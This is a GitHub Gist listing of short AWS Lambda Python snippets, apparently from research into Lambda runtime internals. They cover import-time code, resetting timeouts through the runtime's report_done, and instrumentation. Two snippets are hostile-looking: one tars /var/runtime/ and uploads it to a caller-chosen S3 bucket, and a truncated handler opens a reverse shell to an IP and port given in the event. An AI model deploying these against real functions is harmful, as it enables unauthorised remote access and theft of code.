Skip to content

Instantly share code, notes, and snippets.

@galbash
galbash / lambda_with_init.py
Created Apr 25, 2018
A lambda that runs code on import, as well as when the handler is called.
View lambda_with_init.py
# Make a calculation taking up some run time
print 'Beginning'
for i in xrange(100000000):
x = i * i
print 'Done'
def hello(event, context):
"""
Returns Success
@galbash
galbash / report_done_from_lambda.py
Created Apr 25, 2018
a Lambda that calls the Lambda runtime from with
View report_done_from_lambda.py
import time
import runtime as lambda_runtime
def send_report_end(event, context):
"""
A Lambda that calls report_done from within the code
"""
print "Beginning"
lambda_runtime.report_done(context.aws_request_id, None, 'Success', 0)
time.sleep(1)
@galbash
galbash / reset_timeout.py
Created Apr 25, 2018
A lambda resetting its timeout by calling lambda_runtime.report_done
View reset_timeout.py
import time
import runtime as lambda_runtime
def reset_timeout(event, context):
"""
A lambda resetting its timeout by calling lambda_runtime.report_done
"""
print "Remaining time: ", context.get_remaining_time_in_millis()
time.sleep(10)
@galbash
galbash / instrumented.py
Created Apr 16, 2018
A Lambda whose invocations are being instrumented.
View instrumented.py
import instrumenter
def hello(event, context):
print 'Hello'
return 'Success'
@galbash
galbash / intsrumenter.py
Created Apr 16, 2018
Instruments all Lambda invocations
View intsrumenter.py
import wrapt
def wrapper(wrapped, instance, args, kwargs):
"""
Wrap all Lambda invocations and prints a log before calling it.
"""
request_handler = args[0]
def _wrapper(event, context):
print 'This is a log'
@galbash
galbash / download_lambda_runtime.py
Created Apr 15, 2018
Downloads the lambda runtime directory
View download_lambda_runtime.py
import os
def download_code(event, context):
"""
Download the runtime environment of a lambda to a given s3 bucket.
"""
os.system("/bin/tar -zcvf /tmp/code.tar.gz /var/runtime/")
with open("/tmp/code.tar.gz", "rb") as code:
s3.upload_fileobj(code, event['bucket_name'], 'code.tar.gz')
@galbash
galbash / shell_handler.py
Last active Apr 15, 2018
A simple Lambda handler that opens a shell and back connect to a server.
View shell_handler.py
import os
import socket
import subprocess
def shell(event, context):
"""
Opens a reverse shell to a lambda.
"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((event["ip"], event["port"], ))
@galbash
galbash / lambda_with_libs.py
Created Feb 24, 2018
a python AWS-Lambda example which uses external libraries
View lambda_with_libs.py
import requests
def is_epsagon_ok(event, context):
"""
a simple get request to epsagon's domain to see if it is OK
"""
response = requests.get("https://epsagon.com")
if response.status_code == 200:
return "Epsagon is UP!"
You can’t perform that action at this time.